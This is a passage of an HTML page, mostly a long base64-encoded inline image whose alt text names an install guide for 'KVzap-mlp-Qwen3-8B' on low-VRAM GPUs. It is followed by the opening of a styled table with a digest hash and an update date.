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" alt="Install KVzap-mlp-Qwen3-8B For Low VRAM (6GB/8GB)" style="display:block; width:100%; height:auto; border-radius:8px;"></p>
<table style="width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;">
<tr>
<td style="padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;">
<div style="text-align: left;font-size:11px">
<div style="font-size:15px;color:#2C3E50;font-family:'Tahoma';">🔧 Digest: <b>693c84a5bd36073c7c02cff1dd220d4c</b> • 🕒 Updated: <span style="color:#888;">2026-07-13</span></div>
<table style="width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;">
<tr style="background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);">
